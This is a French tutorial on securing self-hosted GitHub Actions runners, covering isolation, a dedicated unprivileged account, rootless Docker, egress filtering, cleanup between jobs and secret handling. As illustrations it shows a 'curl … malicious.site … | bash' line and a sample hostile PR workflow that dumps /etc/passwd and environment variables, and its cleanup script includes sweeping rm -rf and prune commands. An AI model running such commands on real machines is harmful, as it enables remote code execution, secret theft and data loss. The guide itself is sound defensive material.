Aller au contenu
CI/CD & Automatisation medium

Sécuriser les runners self-hosted

17 min de lecture

Les runners self-hosted offrent de la flexibilité mais introduisent des risques de sécurité que vous devez gérer vous-même. Ce guide présente les mesures de hardening essentielles, du compte système au nettoyage entre les jobs.

  • Identifier les risques propres aux runners self-hosted
  • Isoler les exécutions par niveau de confiance et par conteneur
  • Restreindre les permissions du compte, de Docker et du réseau
  • Nettoyer l'environnement entre chaque job
  • Protéger les secrets et surveiller les runners

Un runner GitHub-hosted est une machine jetable : GitHub la crée pour un job, puis la détruit. Un runner self-hosted, lui, est une machine qui vous appartient, connectée à votre réseau, et qui survit aux jobs. Les trois risques ci-dessous découlent tous de cette différence, et ce sont eux que les mesures de ce guide neutralisent.

Tout workflow peut exécuter du code arbitraire sur le runner : un bloc run: n'est rien d'autre qu'un script shell lancé avec les droits du compte de service du runner. Toute personne capable de modifier un fichier de .github/workflows/, ou de faire fusionner une PR qui le modifie, obtient donc l'exécution de commandes sur votre machine.

- run: |
# Ce code s'exécute avec les droits du runner
curl http://malicious.site/script.sh | bash

Contrairement aux runners GitHub-hosted, l'environnement persiste entre les jobs : le disque, le cache des gestionnaires de paquets et les images Docker restent en place. Un job malveillant peut donc déposer de quoi piéger le job suivant, et un job légitime peut laisser fuiter ce qu'il a manipulé. Trois résidus reviennent systématiquement :

  • Fichiers laissés par un job précédent
  • Variables d'environnement résiduelles
  • Credentials en cache

Le runner a accès au réseau où il se trouve : il hérite de tout ce que son sous-réseau autorise, y compris des services qui n'exigent pas d'authentification parce qu'ils se croient à l'abri derrière le pare-feu périmétrique. Un runner posé dans le réseau de production devient un point d'entrée vers tout ce qui s'y trouve :

  • Bases de données internes
  • APIs privées
  • Autres services

Sur un dépôt public, n'importe qui peut ouvrir une PR depuis un fork, et donc proposer un fichier de workflow. GitHub exige certes une approbation pour la première contribution d'un compte, mais cette approbation est donnée par un humain qui relit surtout le code applicatif. Le workflow ci-dessous montre ce qu'un attaquant obtient si l'approbation passe.

# Un attaquant peut soumettre cette PR sur un repo public
name: Malicious PR
on: pull_request
jobs:
attack:
runs-on: self-hosted # S'exécute sur VOTRE infrastructure
steps:
- run: |
# Vol de secrets, minage de crypto, etc.
cat /etc/passwd
env

L'isolation est la première ligne de défense : limiter ce qu'un job peut atteindre limite les dégâts d'un job compromis. Trois niveaux la renforcent.

Le routage se fait par labels : un job ne part que vers un runner qui porte tous ceux qu'il demande. En réservant les runners trusted aux branches protégées et en envoyant les PR vers des runners untrusted sans accès au réseau interne ni aux secrets de production, un workflow hostile s'exécute sur une machine qui n'a rien d'intéressant à voler.

# Runners pour le code de confiance (main, releases)
runs-on: [self-hosted, trusted]
# Runners pour les PRs (moins de confiance)
runs-on: [self-hosted, untrusted]

La clé container: fait tourner tous les steps du job dans l'image indiquée, pas directement sur l'hôte. Le job ne voit plus que le système de fichiers du conteneur, il ne peut donc pas laisser de résidus sur l'hôte. L'isolation reste celle du noyau partagé : elle ne résiste pas à un conteneur privilégié ni à un montage du socket Docker.

jobs:
build:
runs-on: self-hosted
container:
image: node:20-alpine@sha256:fb4cd12c85ee03686f6af5362a0b0d56d50c58a04632e6c0fb8363f609372293
# Isolation par conteneur

Détruisez la VM après chaque job : c'est la seule isolation qui supprime réellement la persistance, puisque le disque disparaît avec la machine. Le runner s'enregistre en mode éphémère et se retire de la liste GitHub à la fin du job ; un orchestrateur en provisionne un nouveau pour le job suivant. Le prix à payer est un temps de démarrage de quelques dizaines de secondes par job.

runs-on: [self-hosted, ephemeral]
# Le runner-scaler détruit la VM après exécution

Un runner compromis ne doit pas pouvoir grand-chose. On restreint sur trois plans : le compte système, Docker et le réseau.

Le runner ne doit jamais tourner sous root ni sous votre compte d'administration : tout run: hérite de ses droits. Un compte de service dédié, sans mot de passe et absent des sudoers, limite un job compromis à son propre répertoire de travail. Si une tâche a réellement besoin d'une commande privilégiée, accordez-la unitairement dans /etc/sudoers.d/ plutôt que de donner un sudo complet.

Fenêtre de terminal
# Créer un utilisateur dédié sans privilèges
sudo useradd -m -s /bin/bash github-runner
sudo usermod -L github-runner # Pas de login
# Installer le runner avec cet utilisateur
sudo -u github-runner ./config.sh ...
# Pas de sudo pour le runner
# Ne jamais ajouter github-runner aux sudoers !

Ajouter le compte du runner au groupe docker revient à lui donner root sur l'hôte : le démon tourne en root et un conteneur peut monter /. Docker rootless supprime ce contournement en faisant tourner le démon sous le compte du runner. À défaut, durcissez chaque conteneur en retirant les capabilities et en interdisant l'élévation de privilèges.

Fenêtre de terminal
# Utiliser rootless Docker si possible
# Ou limiter avec --security-opt
docker run --security-opt=no-new-privileges \
--cap-drop=ALL \
--read-only \
...

Un runner n'a besoin que de joindre GitHub en HTTPS et les registres d'où il tire ses dépendances : il travaille en sortie sortante uniquement, aucun flux entrant n'est requis. Filtrer le reste en sortie coupe à la fois l'exfiltration de secrets et l'accès latéral aux services internes. Testez ces règles avant de les rendre persistantes, un DROP trop large bloque aussi les mises à jour du runner.

Fenêtre de terminal
# Firewall : limiter les connexions sortantes
iptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHub
iptables -A OUTPUT -o eth0 -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A OUTPUT -o eth0 -j DROP # Bloquer le reste

Sur un runner persistant, ce qu'un job laisse derrière lui reste disponible pour le suivant. Un nettoyage systématique évite les fuites entre jobs.

Le répertoire _work, le cache npm et les images Docker sont les trois endroits où un job laisse le plus de traces exploitables. Ce script les vide systématiquement, sans chercher à distinguer ce qui est légitime : un nettoyage inconditionnel est le seul qui reste fiable dans la durée.

#!/bin/bash
# cleanup.sh - à exécuter après chaque job
# Supprimer les fichiers temporaires
rm -rf /tmp/* /var/tmp/*
# Nettoyer le home du runner
rm -rf /home/github-runner/.npm
rm -rf /home/github-runner/.cache
rm -rf /home/github-runner/work/*
# Nettoyer Docker
docker system prune -af
docker volume prune -f
# Supprimer les variables d'environnement personnalisées
unset $(env | grep -v '^PATH=' | cut -d= -f1)

Un nettoyage déclenché depuis le workflow ne s'exécute pas si le job est annulé ou si le runner redémarre : le rattacher au service systemd le rend indépendant du contenu des workflows. ExecStartPre nettoie avant de reprendre le travail, ExecStopPost après l'arrêt.

Fenêtre de terminal
# Dans le service systemd du runner
[Service]
ExecStartPre=/opt/actions-runner/cleanup.sh
ExecStopPost=/opt/actions-runner/cleanup.sh

Les secrets ne doivent jamais résider en dur sur le runner. Voici comment les faire transiter et les manipuler sans les exposer.

Un secret placé dans le .bashrc du compte runner devient lisible par tous les jobs, y compris ceux qui n'en ont pas besoin. Passé par le bloc env: d'un step, il n'existe que le temps de ce step et GitHub le masque dans les logs.

# ❌ Ne pas mettre de secrets dans les scripts du runner
# ~/.bashrc avec AWS_SECRET_ACCESS_KEY = mauvaise idée
# ✅ Utiliser les secrets GitHub
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: aws s3 sync ./dist s3://bucket

Les fichiers d'identifiants posés sur la machine, ~/.aws/credentials, ~/.kube/config ou un compte de service, sont accessibles à n'importe quel job et ne tournent jamais. OIDC les remplace par un jeton demandé au moment du job, valable quelques minutes et lié au dépôt appelant.

Fenêtre de terminal
# Utiliser des short-lived tokens via OIDC
# Pas de credentials statiques sur le runner
# Voir /docs/pipeline-cicd/github/securite/oidc/

Quand un outil exige un secret sous forme de fichier, un tmpfs le maintient en mémoire vive : rien n'est écrit sur le disque, et le contenu disparaît au redémarrage sans laisser de bloc récupérable.

Fenêtre de terminal
# Monter les secrets en read-only tmpfs
mkdir -p /run/secrets
mount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secrets

Le durcissement ne suffit pas : il faut détecter une compromission. Logs d'audit et monitoring système rendent visibles les comportements anormaux.

La variable ACTIONS_RUNNER_DEBUG fait journaliser au runner le détail de chaque step, utile pour reconstituer ce qu'a fait un job après coup. Réservez-la au diagnostic : ces logs sont verbeux et exposent des chemins et des noms de variables que vous ne voulez pas laisser en permanence.

# Activer les logs détaillés
env:
ACTIONS_RUNNER_DEBUG: true

Les logs du runner disent ce que le workflow a demandé ; l'audit système dit ce qui s'est réellement exécuté sur la machine. Une règle auditd sur execve enregistre chaque commande lancée, ce qui permet de repérer un binaire téléchargé au vol ou une connexion sortante qui ne correspond à aucun step.

Fenêtre de terminal
# Surveiller les processus suspects
auditctl -a always,exit -F arch=b64 -S execve -k commands
# Alerter sur les connexions sortantes inhabituelles
# (avec un outil comme Falco, osquery, etc.)

Configurez des webhooks pour être alerté des runs sur les runners self-hosted. L'événement workflow_job porte les labels demandés par le job : vous détectez ainsi un workflow qui vise vos runners alors qu'il ne devrait pas, sans attendre de consulter l'onglet Actions.

Ces trois listes reprennent les mesures du guide selon le moment où elles s'appliquent : à l'installation, en exploitation courante, et lors des décisions d'architecture. Les points de configuration initiale sont ceux qu'il est coûteux de rattraper une fois le runner en production.

Ces cinq points se règlent avant le premier job. Ils forment le socle minimal : un runner qui n'en coche pas la totalité ne devrait pas recevoir de workflow.

  • Runner sur repository privé uniquement
  • Utilisateur dédié sans privilèges sudo
  • Firewall configuré (whitelist)
  • Docker rootless ou avec restrictions
  • Logs d'audit activés

Un runner se dégrade avec le temps : l'agent prend du retard, les jetons d'enregistrement traînent, des workflows nouveaux arrivent sans que personne ne les relise. Ces quatre vérifications se planifient, faute de quoi elles ne se font jamais.

  • Mises à jour du runner et de l'OS
  • Rotation des tokens d'enregistrement
  • Revue des workflows exécutés
  • Vérification des logs d'audit

Ces quatre choix ne se corrigent pas par un réglage : ils déterminent l'exposition de votre parc. C'est le niveau où l'on décide qu'un job de PR ne touchera jamais la même machine qu'un job de release.

  • Runners séparés par niveau de confiance
  • Runners éphémères pour les PRs
  • Pas de secrets statiques sur les runners
  • OIDC pour l'authentification cloud

Ce workflow rassemble les mesures du guide : runner de confiance, exécution en conteneur durci, OIDC au lieu de secrets statiques et nettoyage explicite.

name: Secure Build
on:
push:
branches: [main]
# Aucun droit par défaut : le job demande le minimum
permissions: {}
jobs:
build:
runs-on: [self-hosted, linux, trusted]
permissions:
contents: read
id-token: write # Pour OIDC
container:
image: node:20-alpine
options: --read-only --security-opt=no-new-privileges
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
# OIDC au lieu de secrets statiques
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: eu-west-1
- run: npm ci
- run: npm test
- run: npm run build
# Cleanup explicite
- name: Cleanup
if: always()
run: rm -rf node_modules .npm

Vérifiez que l'essentiel de ce guide est acquis. Les questions portent uniquement sur ce qui vient d'être expliqué ici.

Contrôle de connaissances

Validez vos connaissances avec ce quiz interactif

6 questions
6 min.
70% requis

Informations

  • Le chronomètre démarre au clic sur Démarrer
  • Questions à choix multiples, vrai/faux et réponses courtes
  • Vous pouvez naviguer entre les questions
  • Les résultats détaillés sont affichés à la fin

Lance le quiz et démarre le chronomètre

  • Un runner self-hosted ne va jamais sur un dépôt public : une PR de fork exécuterait du code arbitraire chez vous.
  • Isolez les exécutions : runners dédiés par niveau de confiance, conteneurs, VM éphémères.
  • Le compte du runner est sans sudo ; Docker tourne en rootless ou avec des capabilities réduites.
  • Nettoyez systématiquement entre les jobs, l'environnement persiste, contrairement aux runners hosted.
  • Pas de secrets statiques sur la machine : privilégiez OIDC et les jetons à durée de vie courte.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracking. Un soutien, même symbolique, m'aide à couvrir l'hébergement et à garder ces ressources gratuites. Merci pour votre appui.

Le formulaire ne s'affiche pas ? Ouvrir Ko-fi dans un onglet.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn